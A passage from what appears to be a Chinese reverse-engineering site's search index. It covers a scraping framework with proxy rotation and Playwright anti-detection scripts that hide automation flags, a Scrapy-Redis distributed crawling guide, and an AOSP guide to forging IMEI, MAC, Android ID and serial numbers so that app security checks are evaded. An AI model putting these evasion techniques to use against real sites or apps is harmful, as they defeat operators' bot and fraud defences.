","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:2:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#框架架构"},{"categories":null,"collections":null,"content":"核心组件实现 ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:3:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#核心组件实现"},{"categories":null,"collections":null,"content":"1. Request Middleware import random from typing import Dict, List class RequestMiddleware: def __init__(self): self.user_agents = self._load_user_agents() self.headers_pool = self._load_headers() def _load_user_agents(self) -\u003e List[str]: \"\"\"加载 User-Agent 池\"\"\" return [ 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', ] def _load_headers(self) -\u003e List[Dict]: \"\"\"加载请求头池\"\"\" return [ { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9', 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1', }, # 更多变体... ] def get_random_headers(self, referer=None) -\u003e Dict: \"\"\"获取随机请求头\"\"\" headers = random.choice(self.headers_pool).copy() headers['User-Agent'] = random.choice(self.user_agents) if referer: headers['Referer'] = referer return headers def randomize_headers(self, headers: Dict) -\u003e Dict: \"\"\"随机化请求头顺序\"\"\" items = list(headers.items()) random.shuffle(items) return dict(items) ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:3:1","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#1-request-middleware"},{"categories":null,"collections":null,"content":"2. Proxy Manager import redis import requests from typing import Optional class ProxyManager: def __init__(self, redis_url='redis://localhost:6379'): self.r = redis.from_url(redis_url, decode_responses=True) self.test_url = 'http://httpbin.org/ip' def get_proxy(self) -\u003e Optional[str]: \"\"\"获取可用代理\"\"\" # 从 Redis 有序集合获取评分最高的代理 proxies = self.r.zrange('proxy_pool', 0, 0) if proxies: return proxies[0] return None def validate_proxy(self, proxy: str) -\u003e bool: \"\"\"验证代理\"\"\" proxies = { 'http': f'http://{proxy}', 'https': f'http://{proxy}' } try: response = requests.get( self.test_url, proxies=proxies, timeout=5 ) return response.status_code == 200 except: return False def mark_success(self, proxy: str): \"\"\"标记代理成功\"\"\" self.r.zincrby('proxy_pool', -0.1, proxy) # 降低分数 = 提高优先级 def mark_failure(self, proxy: str): \"\"\"标记代理失败\"\"\" self.r.zincrby('proxy_pool', 1, proxy) # 提高分数 = 降低优先级 # 如果失败次数过多，移除代理 score = self.r.zscore('proxy_pool', proxy) if score \u003e 10: self.r.zrem('proxy_pool', proxy) ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:3:2","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#2-proxy-manager"},{"categories":null,"collections":null,"content":"3. Browser Simulator from playwright.sync_api import sync_playwright import random import time class BrowserSimulator: def __init__(self): self.playwright = sync_playwright().start() self.browser = None def launch_browser(self, headless=True, proxy=None): \"\"\"启动浏览器\"\"\" launch_options = { 'headless': headless, 'args': [ '--disable-blink-features=AutomationControlled', '--disable-dev-shm-usage', '--no-sandbox', ] } if proxy: launch_options['proxy'] = {'server': proxy} self.browser = self.playwright.chromium.launch(**launch_options) return self.browser def create_stealth_context(self): \"\"\"创建隐身上下文\"\"\" context = self.browser.new_context( viewport={'width': 1920, 'height': 1080}, user_agent='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', locale='zh-CN', timezone_id='Asia/Shanghai', ) # 注入反检测脚本 context.add_init_script(\"\"\" // 覆盖 navigator.webdriver Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); // 覆盖 navigator.plugins Object.defineProperty(navigator, 'plugins', { get: () =\u003e [1, 2, 3, 4, 5] }); // 覆盖 navigator.languages Object.defineProperty(navigator, 'languages', { get: () =\u003e ['zh-CN', 'zh', 'en'] }); // Chrome 检测绕过 window.chrome = { runtime: {} }; \"\"\") return context def simulate_human_behavior(self, page): \"\"\"模拟人类行为\"\"\" # 随机滚动 page.evaluate(\"\"\" () =\u003e { window.scrollTo({ top: Math.random() * document.body.scrollHeight, behavior: 'smooth' }); } \"\"\") time.sleep(random.uniform(0.5, 2)) # 随机鼠标移动 page.mouse.move( random.randint(100, 500), random.randint(100, 500) ) time.sleep(random.uniform(0.2, 0.5)) def scrape_with_stealth(self, url): \"\"\"隐身爬取\"\"\" context = self.create_stealth_context() page = context.new_page() try: page.goto(url, wait_until='networkidle') self.simulate_human_behavior(page) content = page.content() return content finally: page.close() context.close() ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:3:3","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#3-browser-simulator"},{"categories":null,"collections":null,"content":"4. Rate Limiter import time import random class AdaptiveRateLimiter: def __init__(self, base_delay=1.0, max_delay=10.0): self.base_delay = base_delay self.max_delay = max_delay self.current_delay = base_delay self.success_count = 0 self.failure_count = 0 def wait(self): \"\"\"等待适当的时间\"\"\" delay = self.current_delay + random.uniform(-0.5, 0.5) time.sleep(max(0, delay)) def record_success(self): \"\"\"记录成功请求\"\"\" self.success_count += 1 # 连续成功，逐渐减少延迟 if self.success_count \u003e 10: self.current_delay = max( self.base_delay, self.current_delay * 0.9 ) self.success_count = 0 def record_failure(self): \"\"\"记录失败请求\"\"\" self.failure_count += 1 # 失败则增加延迟 self.current_delay = min( self.max_delay, self.current_delay * 1.5 ) if self.failure_count \u003e 5: # 严重限流，长时间等待 time.sleep(self.max_delay * 2) self.failure_count = 0 ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:3:4","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#4-rate-limiter"},{"categories":null,"collections":null,"content":"完整框架集成 class AntiAntiScrapingFramework: def __init__(self, config): self.middleware = RequestMiddleware() self.proxy_manager = ProxyManager() self.browser_simulator = BrowserSimulator() self.rate_limiter = AdaptiveRateLimiter() def fetch(self, url, use_browser=False): \"\"\"智能爬取\"\"\" # 速率限制 self.rate_limiter.wait() try: if use_browser: # 使用浏览器模拟 result = self._fetch_with_browser(url) else: # 使用请求库 result = self._fetch_with_requests(url) self.rate_limiter.record_success() return result except Exception as e: self.rate_limiter.record_failure() raise def _fetch_with_requests(self, url): \"\"\"使用 requests 爬取\"\"\" proxy = self.proxy_manager.get_proxy() headers = self.middleware.get_random_headers() proxies = {'http': f'http://{proxy}', 'https': f'http://{proxy}'} if proxy else None response = requests.get(url, headers=headers, proxies=proxies, timeout=10) if proxy: self.proxy_manager.mark_success(proxy) return response.text def _fetch_with_browser(self, url): \"\"\"使用浏览器爬取\"\"\" return self.browser_simulator.scrape_with_stealth(url) # 使用 config = {} framework = AntiAntiScrapingFramework(config) result = framework.fetch('https://example.com', use_browser=True) ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:4:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#完整框架集成"},{"categories":null,"collections":null,"content":"相关章节 反爬虫技术深度分析 浏览器指纹识别与对抗 代理池管理 ","date":"2025-05-07","objectID":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/:5:0","tags":["Web","浏览器指纹","代理池","工程实践","分布式","Playwright"],"title":"反爬虫对抗框架","uri":"/reverse_engineering/web/06-engineering/anti_anti_scraping_framework/#相关章节"},{"categories":null,"collections":null,"content":"分布式爬虫实战：Scrapy-Redis 详解 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Scrapy 快速入门 - 理解 Scrapy 调度器与去重机制 Redis 基础 - 掌握 Redis 列表、集合操作 Scrapy 默认是单机架构，请求队列保存在内存中，重启即失，且无法多机共享。Scrapy-Redis 是一个强大的组件，它重写了 Scrapy 的调度器 (Scheduler) 和去重组件 (DupeFilter)，将请求队列和指纹集合存储在 Redis 中，从而实现： 分布式爬取: 多个爬虫节点共享同一个 Redis 队列，协同工作。 断点续爬: 请求持久化在 Redis 中，爬虫挂掉重启后可继续运行。 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:0:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#分布式爬虫实战scrapy-redis-详解"},{"categories":null,"collections":null,"content":"1. 核心架构原理 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:1:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#1-核心架构原理"},{"categories":null,"collections":null,"content":"原生 Scrapy vs Scrapy-Redis 原生 Scrapy: Scheduler: 维护在内存中的 Python deque 或 queue。 DupeFilter: 维护在内存中的 Python set。 缺点: 无法跨进程/跨机器共享，内存受限。 Scrapy-Redis: Scheduler: 从 Redis 的 List (或 PriorityQueue) 中 POP 请求，向其 PUSH 新请求。 DupeFilter: 利用 Redis 的 Set 数据结构存储 URL 指纹 (SHA1)，利用 Redis 的原子性进行去重。 Item Pipeline: 可选将提取的数据直接推入 Redis，由独立的 Worker 消费存储。 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:1:1","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#原生-scrapy-vs-scrapy-redis"},{"categories":null,"collections":null,"content":"2. 环境搭建与配置 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:2:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#2-环境搭建与配置"},{"categories":null,"collections":null,"content":"安装 pip install scrapy-redis ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:2:1","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#安装"},{"categories":null,"collections":null,"content":"配置 settings.py # settings.py # 1. 启用 Scrapy-Redis 调度器 SCHEDULER = \"scrapy_redis.scheduler.Scheduler\" # 2. 启用 Scrapy-Redis 去重过滤器 DUPEFILTER_CLASS = \"scrapy_redis.dupefilter.RFPDupeFilter\" # 3. 允许暂停 (断点续爬核心) # 如果为真，当爬虫停止时，Redis 中的请求队列不会被清空 SCHEDULER_PERSIST = True # 4. 设置 Redis 连接 # 方式一：单独设置 REDIS_HOST = '192.168.1.100' REDIS_PORT = 6379 # REDIS_PARAMS = {'password': 'yourpassword'} # 方式二：完整地址 # REDIS_URL = 'redis://user:pass@hostname:9001' # 5. 配置请求队列模式（可选，默认为 PriorityQueue） # SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.PriorityQueue' # 有序集合，支持优先级 # SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.FifoQueue' # 先进先出列表 # SCHEDULER_QUEUE_CLASS = 'scrapy_redis.queue.LifoQueue' # 后进先出列表（栈） # 6. (可选) 将数据存入 Redis Pipeline ITEM_PIPELINES = { 'scrapy_redis.pipelines.RedisPipeline': 300, } ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:2:2","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#配置-settingspy"},{"categories":null,"collections":null,"content":"3. 编写分布式 Spider ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:3:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#3-编写分布式-spider"},{"categories":null,"collections":null,"content":"继承 RedisSpider from scrapy_redis.spiders import RedisSpider import scrapy class MyDistributedSpider(RedisSpider): name = 'myspider_distributed' # 核心差异：不再定义 start_urls # 定义 redis_key，爬虫启动后会阻塞等待该键中出现的 URL redis_key = 'myspider:start_urls' def parse(self, response): self.logger.info(f\"Crawling {response.url}\") # 提取数据逻辑与普通 Spider 一致 yield { 'url': response.url, 'title': response.css('title::text').get() } # 生成新请求 for href in response.css('a::attr(href)').getall(): yield response.follow(href, self.parse) ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:3:1","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#继承-redisspider"},{"categories":null,"collections":null,"content":"启动流程 启动爬虫（多个终端启动多个实例）： scrapy crawl myspider_distributed 向 Redis 推送起始 URL： redis-cli lpush myspider:start_urls http://example.com ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:3:2","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#启动流程"},{"categories":null,"collections":null,"content":"使用 RedisCrawlSpider 如果你需要利用 Rule 和 LinkExtractor 自动抓取全站，可以使用 RedisCrawlSpider。 from scrapy_redis.spiders import RedisCrawlSpider from scrapy.linkextractors import LinkExtractor from scrapy.spiders import Rule class MyCrawlSpider(RedisCrawlSpider): name = 'mycrawl_distributed' redis_key = 'mycrawl:start_urls' rules = ( Rule(LinkExtractor(allow=r'/article/'), callback='parse_article'), Rule(LinkExtractor(allow=r'/page/'), follow=True), ) def parse_article(self, response): yield { 'title': response.css('h1::text').get(), 'content': response.css('.content::text').getall(), } ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:3:3","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#使用-rediscrawlspider"},{"categories":null,"collections":null,"content":"4. 进阶优化策略 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:4:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#4-进阶优化策略"},{"categories":null,"collections":null,"content":"Bloom Filter 去重优化 Scrapy-Redis 默认使用 Redis Set 存储所有指纹。对于亿级 URL 的爬取，这会消耗数十 GB 内存。解决方案是集成 Bloom Filter。 实现思路: 重写 RFPDupeFilter。 使用 redis-py 的 bf.add 和 bf.exists 命令 (需要 RedisBloom 模块) 或 Python 端的 pybloom_live 映射到 Redis BitMap。 # custom_dupefilter.py 简易示意 from scrapy_redis.dupefilter import RFPDupeFilter class BloomFilterDupeFilter(RFPDupeFilter): def request_seen(self, request): fp = self.request_fingerprint(request) # 假设 self.server 是 Redis 连接，且支持 BF 命令 # 如果指纹已存在，返回 True if self.server.execute_command('BF.EXISTS', self.key, fp): return True # 否则添加指纹 self.server.execute_command('BF.ADD', self.key, fp) return False ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:4:1","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#bloom-filter-去重优化"},{"categories":null,"collections":null,"content":"请求优先级 # 生成请求时指定优先级 yield scrapy.Request(url, priority=100) # 首页，优先 yield scrapy.Request(url, priority=10) # 详情页，次之 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:4:2","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#请求优先级"},{"categories":null,"collections":null,"content":"空闲超时关闭 # settings.py # 指定空闲等待时间（秒），超时则关闭爬虫 SCHEDULER_IDLE_BEFORE_CLOSE = 10 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:4:3","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#空闲超时关闭"},{"categories":null,"collections":null,"content":"5. 部署架构图 graph TB subgraph \"Master / Redis Server\" Redis[(Redis Queue \u0026 Set)] end subgraph \"Slave 1\" Spider1[Scrapy Spider 1] --\u003e|Pop Request| Redis Spider1 --\u003e|Push Request| Redis Spider1 --\u003e|Dupe Check| Redis end subgraph \"Slave 2\" Spider2[Scrapy Spider 2] --\u003e|Pop Request| Redis Spider2 --\u003e|Push Request| Redis Spider2 --\u003e|Dupe Check| Redis end subgraph \"Data Storage\" Mongo[(MongoDB)] end Spider1 --\u003e|Store Item| Mongo Spider2 --\u003e|Store Item| Mongo graph TB subgraph \"Master / Redis Server\" Redis[(Redis Queue \u0026 Set)] end subgraph \"Slave 1\" Spider1[Scrapy Spider 1] --\u003e|Pop Request| Redis Spider1 --\u003e|Push Request| Redis Spider1 --\u003e|Dupe Check| Redis end subgraph \"Slave 2\" Spider2[Scrapy Spider 2] --\u003e|Pop Request| Redis Spider2 --\u003e|Push Request| Redis Spider2 --\u003e|Dupe Check| Redis end subgraph \"Data Storage\" Mongo[(MongoDB)] end Spider1 --\u003e|Store Item| Mongo Spider2 --\u003e|Store Item| Mongo graph TB subgraph \"Master / Redis Server\" Redis[(Redis Queue \u0026 Set)] end subgraph \"Slave 1\" Spider1[Scrapy Spider 1] --\u003e|Pop Request| Redis Spider1 --\u003e|Push Request| Redis Spider1 --\u003e|Dupe Check| Redis end subgraph \"Slave 2\" Spider2[Scrapy Spider 2] --\u003e|Pop Request| Redis Spider2 --\u003e|Push Request| Redis Spider2 --\u003e|Dupe Check| Redis end subgraph \"Data Storage\" Mongo[(MongoDB)] end Spider1 --\u003e|Store Item| Mongo Spider2 --\u003e|Store Item| Mongo graph TB subgraph \"Master / Redis Server\" Redis[(Redis Queue \u0026 Set)] end subgraph \"Slave 1\" Spider1[Scrapy Spider 1] --\u003e|Pop Request| Redis Spider1 --\u003e|Push Request| Redis Spider1 --\u003e|Dupe Check| Redis end subgraph \"Slave 2\" Spider2[Scrapy Spider 2] --\u003e|Pop Request| Redis Spider2 --\u003e|Push Request| Redis Spider2 --\u003e|Dupe Check| Redis end subgraph \"Data Storage\" Mongo[(MongoDB)] end Spider1 --\u003e|Store Item| Mongo Spider2 --\u003e|Store Item| Mongo ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:5:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#5-部署架构图"},{"categories":null,"collections":null,"content":"6. 常见问题 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:6:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#6-常见问题"},{"categories":null,"collections":null,"content":"Q: 爬虫启动后一直等待，不抓取？ A: 确认已向 redis_key 推送了起始 URL： redis-cli lpush myspider:start_urls http://example.com ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:6:1","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#q-爬虫启动后一直等待不抓取"},{"categories":null,"collections":null,"content":"Q: 如何监控爬取进度？ A: 使用 Redis 命令查看队列长度： # 查看待爬取请求数量 redis-cli llen myspider:requests # 查看已爬取指纹数量 redis-cli scard myspider:dupefilter ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:6:2","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#q-如何监控爬取进度"},{"categories":null,"collections":null,"content":"Q: 如何清空队列重新开始？ A: 删除 Redis 中的相关键： redis-cli del myspider:requests myspider:dupefilter myspider:start_urls ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:6:3","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#q-如何清空队列重新开始"},{"categories":null,"collections":null,"content":"总结 Scrapy-Redis 是构建分布式爬虫系统的核心组件。通过将调度器和去重组件迁移到 Redis，实现了多节点协同爬取和断点续爬能力，是大规模数据采集的必备工具。 ","date":"2025-05-01","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/:7:0","tags":["自动化","浏览器指纹","Android"],"title":"分布式爬虫实战：Scrapy-Redis 详解","uri":"/reverse_engineering/android/01-recipes/automation/scrapy_redis_distributed/#总结"},{"categories":null,"collections":null,"content":"基于 AOSP 的深度改机技术指南 在 Android 安全和逆向工程领域，“改机\"指的是修改设备的各种硬件和软件标识符，以绕过应用程序的安全检测或实现隐私保护。虽然使用 Xposed 或 Frida 等 Hook 框架可以在应用层实现改机，但这些方法容易被检测。基于 AOSP (Android Open Source Project) 源码进行修改，是从系统层面伪造设备指纹的终极手段，因为 App 获取到的信息是由系统本身\"真实\"地提供的。 本文旨在提供一个关于如何通过修改 AOSP 源码来实现深度改机的技术框架和思路。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:0:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#基于-aosp-的深度改机技术指南"},{"categories":null,"collections":null,"content":"核心思想：应用层 Hook vs. 系统层修改 特性 应用层 Hook (Xposed/Frida) AOSP 系统层修改 原理 在 App 运行时，拦截 API 调用，返回伪造结果。 直接修改 Android 框架层源码，使 API 本身就返回伪造的值。 效果 较好，但可被检测。 极好，效果彻底。 检测难度 容易被反 Hook、反调试技术检测到。 极难被检测，因为对 App 来说系统行为是\"原生\"的。 实现难度 相对较低，只需编写 Hook 脚本。 非常高，需要编译整个 Android 系统。 适用性 通用性强，适用于大多数设备。 通常只适用于 AOSP 支持良好的设备（如 Google Pixel）。 结论: AOSP 改机的本质是构建一个\"出厂设置\"就是伪装状态的自定义操作系统。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:1:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#核心思想应用层-hook-vs-系统层修改"},{"categories":null,"collections":null,"content":"准备工作 硬件要求: 一台高性能的 PC（至少 16GB RAM，推荐 32GB 或更高）。 大容量高速硬盘（SSD，至少 500GB 可用空间）。 一台受 AOSP 官方支持的设备（如 Google Pixel 系列），用于刷机验证。 软件环境: Linux 操作系统（推荐 Ubuntu LTS 版本）。 熟悉 Android 编译环境，安装好 repo 和所有必需的依赖库。 AOSP 源码: 根据你的目标设备和 Android 版本，初始化并同步对应的 AOSP 源码仓库。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:2:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#准备工作"},{"categories":null,"collections":null,"content":"关键参数定位与修改 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:3:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#关键参数定位与修改"},{"categories":null,"collections":null,"content":"Build Info (build.prop) 这些是描述设备型号、品牌、制造商等最基础的信息。 定位: 这些值通常定义在 device/ 目录下的特定于设备的 *.mk makefile 文件中，或者在 build/make/target/product/ 下的通用产品定义文件中。 修改示例: 打开 device/\u003cvendor\u003e/\u003cproduct_name\u003e/device.mk 或类似文件。 找到并修改以下变量： PRODUCT_MODEL := Pixel 8 Pro PRODUCT_BRAND := Google PRODUCT_NAME := my_custom_device PRODUCT_DEVICE := generic PRODUCT_MANUFACTURER := MyCompany ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:3:1","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#build-info-buildprop"},{"categories":null,"collections":null,"content":"硬件参数 (IMEI, MAC, Android ID) 这些是更敏感、更核心的设备标识符。修改它们需要深入到 Framework 层的 Java 代码和 JNI。 IMEI (Telephony): 定位: frameworks/opt/telephony/src/java/com/android/internal/telephony/Phone.java 或相关的 *SubInfo.java 文件。 修改思路: 找到 getImei() 或类似方法，在其中硬编码或返回一个动态生成的伪造 IMEI。 MAC Address (Wi-Fi): 定位: frameworks/base/wifi/java/android/net/wifi/WifiInfo.java。 修改思路: 找到 getMacAddress() 方法。注意，在高版本 Android 中，该方法可能返回一个固定的、非真实的 MAC 地址。需要找到其更底层的实现，可能在 wpa_supplicant 或 Wi-Fi 驱动的 JNI 接口中。 Android ID: 定位: frameworks/base/services/core/java/com/android/server/pm/Settings.java 中的 getStringForUser() 方法，结合 android.provider.Settings.Secure.ANDROID_ID 的实现。 修改思路: 找到生成和存储 Android ID 的逻辑，将其替换为返回一个固定的或每次启动都随机生成的值。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:3:2","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#硬件参数-imei-mac-android-id"},{"categories":null,"collections":null,"content":"系统属性 (System Properties) App 通过 android.os.SystemProperties.get() 获取各种系统属性。 定位: frameworks/base/core/java/android/os/SystemProperties.java 及其对应的 JNI 实现 frameworks/base/core/jni/android_os_SystemProperties.cpp。 修改思路: 直接在 SystemProperties.cpp 的 native_get 方法中进行拦截。判断传入的属性名，如果是目标属性（如 ro.serialno），则返回一个伪造的值，否则执行原始逻辑。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:3:3","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#系统属性-system-properties"},{"categories":null,"collections":null,"content":"内核参数 (Serial Number) 一些底层信息（如 CPU 序列号）直接由 Linux 内核通过 /proc 文件系统暴露。 定位: 内核源码中的 arch/\u003carch\u003e/kernel/setup.c 或相关驱动文件。 修改思路: 下载与 AOSP 版本匹配的内核源码。 找到向 /proc/cpuinfo 或 /proc/serial 等文件写入信息的代码。 修改这部分逻辑，使其输出伪造的信息。 重新编译内核 (boot.img)。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:3:4","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#内核参数-serial-number"},{"categories":null,"collections":null,"content":"编译与刷机 设置环境: source build/envsetup.sh 选择目标: lunch aosp_\u003cdevice_name\u003e-userdebug (例如 lunch aosp_husky-userdebug 对应 Pixel 8 Pro) 开始编译: make -j$(nproc) (这会花费数小时) 刷机: 将设备置于 fastboot 模式。 执行 fastboot flashall -w，这将刷写所有编译生成的镜像 (system.img, boot.img, vendor.img 等)。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:4:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#编译与刷机"},{"categories":null,"collections":null,"content":"详细代码样例 